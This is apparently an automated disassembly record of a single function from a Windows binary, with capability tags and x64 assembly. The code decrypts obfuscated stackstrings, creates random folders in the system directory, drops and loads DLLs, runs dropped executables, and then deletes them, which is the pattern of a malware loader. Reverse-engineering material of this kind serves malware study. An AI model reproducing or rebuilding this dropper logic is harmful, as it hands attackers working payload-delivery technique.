Function at 0x1400107e0
Capabilities:
Contain obfuscated stackstrings
Create directory
Delete file
Get common file path
Set file attributes

Disassembly:
mov r11, rsp
push rbx
push rbp
push r14
push r15
sub rsp, 0x5c8
mov rax, qword [0x1401507e0]
xor rax, rsp
mov qword [rsp + 0x5b0], rax
xor eax, eax
xor r15d, r15d
lea ebx, [rcx + 0xfff]
mov byte [rsp + 0x200], al
mov byte [rsp + 0x240], al
mov byte [r11 - 0x388], r15b
mov qword [r11 - 0x387], rax
mov qword [r11 - 0x37f], rax
mov qword [r11 - 0x377], rax
mov qword [r11 - 0x3a7], rax
mov qword [r11 - 0x39f], rax
mov qword [r11 - 0x397], rax
mov qword [r11 - 0x3e7], rax
mov qword [r11 - 0x3df], rax
mov qword [r11 - 0x3d7], rax
mov qword [r11 - 0x3cf], rax
mov qword [r11 - 0x3c7], rax
mov qword [r11 - 0x3bf], rax
mov qword [r11 - 0x3b7], rax
shr ebx, 0xc
mov rbp, r8
mov r14d, edx
mov byte [rsp + 0x1f0], al
mov qword [r11 - 0x3f7], rax
mov byte [rsp + 0x1e0], al
mov qword [r11 - 0x407], rax
lea rcx, [r11 - 0x367]
inc ebx
xor edx, edx
mov r8d, 0x103
mov dword [rsp + 0x44], r15d
mov dword [rsp + 0x4c], r15d
mov dword [rsp + 0x40], r15d
shl ebx, 0xc
mov dword [rsp + 0x279], eax
mov word [rsp + 0x27d], ax
mov byte [rsp + 0x27f], al
mov dword [rsp + 0x1f9], eax
mov word [rsp + 0x1fd], ax
mov byte [rsp + 0x1ff], al
mov dword [rsp + 0x259], eax
mov word [rsp + 0x25d], ax
mov byte [rsp + 0x25f], al
mov dword [rsp + 0x239], eax
mov word [rsp + 0x23d], ax
mov byte [rsp + 0x23f], al
mov dword [rsp + 0x1e9], eax
mov word [rsp + 0x1ed], ax
mov byte [rsp + 0x1ef], al
mov byte [rsp + 0x280], al
call fcn.140013580
lea rcx, [rsp + 0x391]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x390], r15b
call fcn.140013580
lea rcx, [rsp + 0x4a1]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x4a0], r15b
call fcn.140013580
lea rcx, [rsp + 0x50]
xor edx, edx
mov r8d, 0x184
call fcn.140013580
lea rcx, [rsp + 0x50]
xor edx, edx
call fcn.140001958
test eax, eax
jne 0x1400116b4
mov qword [rsp + 0x5f8], rsi
mov qword [rsp + 0x600], rdi
mov ecx, ebx
mov qword [rsp + 0x608], r12
mov qword [rsp + 0x5c0], r13
call fcn.140003f58
mov ecx, 0x1000
mov r12, rax
call fcn.140003f58
mov ecx, 0x500000
mov r13, rax
call fcn.140003f58
mov rsi, rax
test r12, r12
je 0x140011666
test r13, r13
je 0x140011666
test rax, rax
je 0x140011666
lea r8, [rsp + 0x44]
mov edx, ebx
mov rcx, r12
call fcn.140001be8
mov ebx, eax
test eax, eax
jne 0x14001166b
mov eax, dword [rsp + 0x44]
lea r9, [rsp + 0x200]
lea r8, [rsp + 0x260]
mov byte [rax + r12], r15b
mov edx, dword [rsp + 0x44]
lea rax, [rsp + 0x4c]
mov qword [rsp + 0x30], rax
mov rcx, r12
mov dword [rsp + 0x28], 0x1000
mov qword [rsp + 0x20], r13
mov dword [rsp + 0x260], 0x26745f53
mov dword [rsp + 0x264], 0x6e326366
mov dword [rsp + 0x268], 0x78306736
mov dword [rsp + 0x26c], 0x4d553538
mov byte [rsp + 0x250], r15b
mov dword [rsp + 0x200], 0x7473696c
mov dword [rsp + 0x204], 0x7478742e
mov byte [rsp + 0x208], r15b
call fcn.140007580
mov ebx, eax
test eax, eax
je 0x140010ac2
lea edx, [r15 + 1]
lea rcx, [rsp + 0x50]
mov byte [rsp + 0x5e], 1
call fcn.140001958
jmp 0x14001166b
mov eax, dword [rsp + 0x4c]
lea r8, [0x140152e54]
lea rdx, str.hmd
lea rcx, str._ext_
mov byte [rax + r13], r15b
call fcn.140006fb0
lea rcx, [rsp + 0x280]
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
call fcn.140013e44
mov r8d, 0x20
cdq
and edx, 7
lea ecx, [rdx + rax]
and ecx, 7
sub ecx, edx
lea rdx, [rsp + 0x240]
add ecx, 4
call fcn.1400044a0
lea rdx, [0x14002267c]
lea rcx, [rsp + 0x280]
call fcn.1400076f0
lea rdx, [rsp + 0x240]
lea rcx, [rsp + 0x280]
call fcn.1400076f0
lea rcx, [rsp + 0x280]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0xd0]
call fcn.140007730
lea rcx, [rsp + 0x50]
mov edx, 1
call fcn.140001958
mov edi, r15d
lea r9, [rsp + 0x200]
lea r8, [rsp + 0x240]
lea rdx, [rsp + 0x1f0]
mov rcx, r13
mov byte [rsp + 0x28], 1
mov dword [rsp + 0x1f0], 0x5d70615b
mov byte [rsp + 0x1f4], dil
mov dword [rsp + 0x240], 0x3d72646c
mov byte [rsp + 0x244], dil
mov dword [rsp + 0x20], 0x40
call fcn.140007ac0
cmp byte [rsp + 0x200], dil
je 0x140010d4c
lea rcx, [rsp + 0x200]
mov edx, 0x2c
call fcn.140007760
mov rbx, rax
test rax, rax
je 0x140010c27
lea rcx, [rax + 1]
mov dl, 1
mov byte [rax], dil
call fcn.140007990
cmp byte [rbx + 1], dil
je 0x140010c18
lea rcx, [rbx + 1]
call fcn.1400140fc
mov edi, eax
lea rcx, [rsp + 0x200]
mov dl, 1
call fcn.140007990
mov edx, dword [rsp + 0x44]
lea rax, [rsp + 0x40]
lea r9, [rsp + 0x200]
mov qword [rsp + 0x30], rax
lea r8, [rsp + 0x260]
mov rcx, r12
mov dword [rsp + 0x28], 0x500000
mov dword [rsp + 0x40], r15d
mov qword [rsp + 0x20], rsi
call fcn.140007580
mov ebx, r15d
cmp dword [rsp + 0x40], ebx
je 0x140010d4c
mov rcx, r15
nop
movzx eax, byte [rsp + rcx + 0x200]
inc rcx
mov byte [rsp + rcx + 0x77], al
test al, al
jne 0x140010c70
lea rcx, [rsp + 0x50]
mov edx, 1
call fcn.140001958
mov eax, dword [rsp + 0x44]
mov r9d, dword [rsp + 0x40]
mov qword [rsp + 0x30], rbp
mov dword [rsp + 0x28], eax
lea rcx, [rsp + 0x50]
mov r8, rsi
mov edx, edi
mov qword [rsp + 0x20], r12
call fcn.140010630
mov ebx, eax
test eax, eax
je 0x140010d4c
mov ebx, r15d
cmp dword [0x140152e54], ebx
je 0x140010d4c
cmp edi, 1
je 0x140010d4c
xor edx, edx
mov r8d, 0x500000
mov rcx, rsi
mov dword [rsp + 0x40], r15d
call fcn.140013580
mov edx, dword [rsp + 0x44]
lea r11, [rsp + 0x40]
lea r9, [rsp + 0x200]
lea r8, [rsp + 0x260]
mov qword [rsp + 0x30], r11
mov rcx, r12
mov dword [rsp + 0x28], 0x500000
mov qword [rsp + 0x20], rsi
call fcn.140007580
mov r9d, dword [rsp + 0x40]
mov ebx, eax
test r9d, r9d
je 0x140010d4c
mov eax, dword [rsp + 0x44]
mov qword [rsp + 0x30], rbp
lea rcx, [rsp + 0x50]
mov dword [rsp + 0x28], eax
mov r8, rsi
mov edx, 1
mov qword [rsp + 0x20], r12
call fcn.140010630
mov ebx, eax
test r14d, r14d
jne 0x14001166b
mov dword [rsp + 0x1f0], 0x5d646d5b
mov byte [rsp + 0x1f4], r15b
mov edi, r15d
nop dword [rax + rax]
lea ebp, [rdi + 1]
lea rdx, [0x1400242a4]
lea rcx, [rsp + 0x240]
mov r8d, ebp
call fcn.140014060
xor r11d, r11d
lea r9, [rsp + 0x200]
lea r8, [rsp + 0x240]
lea rdx, [rsp + 0x1f0]
mov rcx, r13
mov byte [rsp + 0x28], 1
mov qword [rsp + 0x200], r11
mov qword [rsp + 0x208], r11
mov qword [rsp + 0x210], r11
mov qword [rsp + 0x218], r11
mov qword [rsp + 0x220], r11
mov qword [rsp + 0x228], r11
mov qword [rsp + 0x230], r11
mov qword [rsp + 0x238], r11
mov dword [rsp + 0x20], 0x40
call fcn.140007ac0
cmp byte [rsp + 0x200], r15b
je 0x140010e7c
lea rcx, [rsp + 0x200]
mov edx, 0x2c
call fcn.140007760
test rax, rax
je 0x140010e2d
lea rcx, [rsp + 0x200]
mov dl, 1
mov byte [rax], r15b
call fcn.140007990
mov edx, dword [rsp + 0x44]
lea rax, [rsp + 0x40]
lea r9, [rsp + 0x200]
mov qword [rsp + 0x30], rax
lea r8, [rsp + 0x260]
mov rcx, r12
mov dword [rsp + 0x28], 0x500000
mov dword [rsp + 0x40], r15d
mov qword [rsp + 0x20], rsi
call fcn.140007580
mov r8d, dword [rsp + 0x40]
mov ebx, r15d
test r8d, r8d
je 0x140010e7c
mov rdx, rsi
mov ecx, edi
call fcn.140010590
mov edi, ebp
cmp ebp, 0xa
jb 0x140010d70
lea rcx, [rsp + 0x280]
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
call fcn.140013e44
mov r8d, 0x20
cdq
and edx, 7
lea ecx, [rdx + rax]
and ecx, 7
sub ecx, edx
lea rdx, [rsp + 0x240]
add ecx, 4
call fcn.1400044a0
lea rdx, [0x14002267c]
lea rcx, [rsp + 0x280]
call fcn.1400076f0
lea rdx, [rsp + 0x240]
lea rcx, [rsp + 0x280]
call fcn.1400076f0
lea rcx, [rsp + 0x280]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov dword [rsp + 0x1f0], 0x5d646c5b
mov byte [rsp + 0x1f4], r15b
mov ebp, r15d
inc ebp
lea rdx, [0x1400242a4]
lea rcx, [rsp + 0x240]
mov r8d, ebp
call fcn.140014060
xor r11d, r11d
lea r9, [rsp + 0x200]
lea r8, [rsp + 0x240]
lea rdx, [rsp + 0x1f0]
mov rcx, r13
mov byte [rsp + 0x28], 1
mov qword [rsp + 0x200], r11
mov qword [rsp + 0x208], r11
mov qword [rsp + 0x210], r11
mov qword [rsp + 0x218], r11
mov qword [rsp + 0x220], r11
mov qword [rsp + 0x228], r11
mov qword [rsp + 0x230], r11
mov qword [rsp + 0x238], r11
mov dword [rsp + 0x20], 0x40
call fcn.140007ac0
cmp byte [rsp + 0x200], r15b
je 0x140011138
lea rcx, [rsp + 0x200]
mov edx, 0x2c
call fcn.140007760
mov rdi, rax
test rax, rax
jne 0x140010fcb
lea rdi, [rsp + 0x200]
jmp 0x140011044
inc rdi
mov dl, 1
mov byte [rax], r15b
mov rcx, rdi
call fcn.140007990
cmp byte [rdi], r15b
jne 0x140011035
call fcn.140013e44
mov r8d, 0x20
cdq
and edx, 3
lea ecx, [rdx + rax]
and ecx, 3
sub ecx, edx
lea rdx, [rsp + 0x240]
add ecx, 4
call fcn.1400044a0
lea r8, [rsp + 0x240]
lea rdx, [rsp + 0x1e0]
mov rcx, rdi
mov dword [rsp + 0x1e0], 0x642e7325
mov dword [rsp + 0x1e4], 0x6c6c
call fcn.140014060
lea rcx, [rsp + 0x200]
mov dl, 1
call fcn.140007990
mov edx, dword [rsp + 0x44]
lea rax, [rsp + 0x40]
lea r9, [rsp + 0x200]
mov qword [rsp + 0x30], rax
lea r8, [rsp + 0x260]
mov rcx, r12
mov dword [rsp + 0x28], 0x500000
mov dword [rsp + 0x40], r15d
mov qword [rsp + 0x20], rsi
call fcn.140007580
mov ebx, r15d
cmp dword [rsp + 0x40], ebx
je 0x140011138
call fcn.140013e44
mov ecx, dword [rsp + 0x40]
cdq
add rcx, rsi
and edx, 0x1f
lea ebx, [rdx + rax]
and ebx, 0x1f
sub ebx, edx
lea edx, [rbx + 1]
call fcn.140005520
mov r11d, dword [rsp + 0x40]
mov rcx, rsi
lea edx, [rbx + r11 + 1]
call fcn.140003788
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x390]
call fcn.140007730
lea rdx, [0x14002267c]
lea rcx, [rsp + 0x390]
call fcn.1400076f0
lea rcx, [rsp + 0x390]
mov rdx, rdi
call fcn.1400076f0
mov r11d, dword [rsp + 0x40]
lea rcx, [rsp + 0x390]
lea r8d, [rbx + r11 + 1]
xor r9d, r9d
mov rdx, rsi
call fcn.140004790
mov ebx, eax
test eax, eax
je 0x14001111c
mov ebx, r15d
jmp 0x140011138
lea rcx, [rsp + 0x390]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
jne 0x140011138
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, r15d
cmp ebp, 0xa
jb 0x140010f10
lea rcx, [rsp + 0x280]
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
call fcn.140013e44
mov r8d, 0x20
cdq
and edx, 7
lea ecx, [rdx + rax]
and ecx, 7
sub ecx, edx
lea rdx, [rsp + 0x240]
add ecx, 4
call fcn.1400044a0
lea rdx, [0x14002267c]
lea rcx, [rsp + 0x280]
call fcn.1400076f0
lea rdx, [rsp + 0x240]
lea rcx, [rsp + 0x280]
call fcn.1400076f0
lea rcx, [rsp + 0x280]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov dword [rsp + 0x1f0], 0x3665725b
mov dword [rsp + 0x1f4], 0x5d34
mov ebp, r15d
mov r14d, 0x6578
inc ebp
lea rdx, [0x1400242a4]
lea rcx, [rsp + 0x240]
mov r8d, ebp
call fcn.140014060
xor r11d, r11d
lea r9, [rsp + 0x200]
lea r8, [rsp + 0x240]
lea rdx, [rsp + 0x1f0]
mov rcx, r13
mov byte [rsp + 0x28], 1
mov qword [rsp + 0x200], r11
mov qword [rsp + 0x208], r11
mov qword [rsp + 0x210], r11
mov qword [rsp + 0x218], r11
mov qword [rsp + 0x220], r11
mov qword [rsp + 0x228], r11
mov qword [rsp + 0x230], r11
mov qword [rsp + 0x238], r11
mov dword [rsp + 0x20], 0x40
call fcn.140007ac0
cmp byte [rsp + 0x200], r15b
je 0x140011418
lea rcx, [rsp + 0x200]
mov edx, 0x2c
call fcn.140007760
mov rdi, rax
test rax, rax
jne 0x14001128e
lea rdi, [rsp + 0x200]
jmp 0x140011305
inc rdi
mov dl, 1
mov byte [rax], r15b
mov rcx, rdi
call fcn.140007990
cmp byte [rdi], r15b
jne 0x1400112f6
call fcn.140013e44
mov r8d, 0x20
cdq
and edx, 7
lea ecx, [rdx + rax]
and ecx, 7
sub ecx, edx
lea rdx, [rsp + 0x240]
add ecx, 4
call fcn.1400044a0
lea r8, [rsp + 0x240]
lea rdx, [rsp + 0x1e0]
mov rcx, rdi
mov dword [rsp + 0x1e0], 0x652e7325
mov word [rsp + 0x1e4], r14w
call fcn.140014060
lea rcx, [rsp + 0x200]
mov dl, 1
call fcn.140007990
mov edx, dword [rsp + 0x44]
lea rax, [rsp + 0x40]
lea r9, [rsp + 0x200]
mov qword [rsp + 0x30], rax
lea r8, [rsp + 0x260]
mov rcx, r12
mov dword [rsp + 0x28], 0x500000
mov dword [rsp + 0x40], r15d
mov qword [rsp + 0x20], rsi
call fcn.140007580
mov ebx, r15d
cmp dword [rsp + 0x40], ebx
je 0x140011418
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x390]
call fcn.140007730
lea rdx, [0x14002267c]
lea rcx, [rsp + 0x390]
call fcn.1400076f0
lea rcx, [rsp + 0x390]
mov rdx, rdi
call fcn.1400076f0
mov r8d, dword [rsp + 0x40]
lea rcx, [rsp + 0x390]
xor r9d, r9d
mov rdx, rsi
call fcn.140004790
test eax, eax
jne 0x140011418
lea r8, [rsp + 0x390]
lea rdx, [rsp + 0x1e0]
lea rcx, [rsp + 0x4a0]
mov dword [rsp + 0x1e0], 0x22732522
mov byte [rsp + 0x1e4], bl
call fcn.140014060
mov qword [rsp + 0x30], r15
lea r8, [rsp + 0x280]
lea rdx, [rsp + 0x4a0]
xor r9d, r9d
xor ecx, ecx
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], 1
call fcn.140004fd0
lea rcx, [rsp + 0x390]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea rcx, [rsp + 0x390]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp ebp, 0xa
jb 0x1400111d3
mov dword [rsp + 0x1f0], 0x5d65725b
mov byte [rsp + 0x1f4], r15b
mov ebp, r15d
inc ebp
lea rdx, [0x1400242a4]
lea rcx, [rsp + 0x240]
mov r8d, ebp
call fcn.140014060
xor r11d, r11d
lea r9, [rsp + 0x200]
lea r8, [rsp + 0x240]
lea rdx, [rsp + 0x1f0]
mov rcx, r13
mov byte [rsp + 0x28], 1
mov qword [rsp + 0x200], r11
mov qword [rsp + 0x208], r11
mov qword [rsp + 0x210], r11
mov qword [rsp + 0x218], r11
mov qword [rsp + 0x220], r11
mov qword [rsp + 0x228], r11
mov qword [rsp + 0x230], r11
mov qword [rsp + 0x238], r11
mov dword [rsp + 0x20], 0x40
call fcn.140007ac0
cmp byte [rsp + 0x200], r15b
je 0x14001165b
lea rcx, [rsp + 0x200]
mov edx, 0x2c
call fcn.140007760
mov rdi, rax
test rax, rax
jne 0x1400114f2
lea rdi, [rsp + 0x200]
jmp 0x140011569
inc rdi
mov dl, 1
mov byte [rax], r15b
mov rcx, rdi
call fcn.140007990
cmp byte [rdi], r15b
jne 0x14001155a
call fcn.140013e44
mov r8d, 0x20
cdq
and edx, 7
lea ecx, [rdx + rax]
and ecx, 7
sub ecx, edx
lea rdx, [rsp + 0x240]
add ecx, 4
call fcn.1400044a0
lea r8, [rsp + 0x240]
lea rdx, [rsp + 0x1e0]
mov rcx, rdi
mov dword [rsp + 0x1e0], 0x652e7325
mov word [rsp + 0x1e4], r14w
call fcn.140014060
lea rcx, [rsp + 0x200]
mov dl, 1
call fcn.140007990
mov edx, dword [rsp + 0x44]
lea rax, [rsp + 0x40]
lea r9, [rsp + 0x200]
mov qword [rsp + 0x30], rax
lea r8, [rsp + 0x260]
mov rcx, r12
mov dword [rsp + 0x28], 0x500000
mov dword [rsp + 0x40], r15d
mov qword [rsp + 0x20], rsi
call fcn.140007580
mov ebx, r15d
cmp dword [rsp + 0x40], ebx
je 0x14001165b
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x390]
call fcn.140007730
lea rdx, [0x14002267c]
lea rcx, [rsp + 0x390]
call fcn.1400076f0
lea rcx, [rsp + 0x390]
mov rdx, rdi
call fcn.1400076f0
mov r8d, dword [rsp + 0x40]
lea rcx, [rsp + 0x390]
xor r9d, r9d
mov rdx, rsi
call fcn.140004790
test eax, eax
jne 0x14001165b
lea r8, [rsp + 0x390]
lea rdx, [rsp + 0x1e0]
lea rcx, [rsp + 0x4a0]
mov dword [rsp + 0x1e0], 0x22732522
mov byte [rsp + 0x1e4], bl
call fcn.140014060
mov qword [rsp + 0x30], r15
lea r8, [rsp + 0x280]
lea rdx, [rsp + 0x4a0]
xor r9d, r9d
xor ecx, ecx
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
call fcn.140004fd0
cmp ebp, 0xa
jb 0x140011437
jmp 0x14001166b
mov ebx, 8
mov rdi, qword [rsp + 0x600]
test rsi, rsi
je 0x140011680
mov rcx, rsi
call fcn.140013e24
mov rsi, qword [rsp + 0x5f8]
test r13, r13
je 0x140011695
mov rcx, r13
call fcn.140013e24
mov r13, qword [rsp + 0x5c0]
test r12, r12
je 0x1400116aa
mov rcx, r12
call fcn.140013e24
mov r12, qword [rsp + 0x608]
mov eax, ebx
mov rcx, qword [rsp + 0x5b0]
xor rcx, rsp
call fcn.140013680
add rsp, 0x5c8
pop r15
pop r14
pop rbp
pop rbx
ret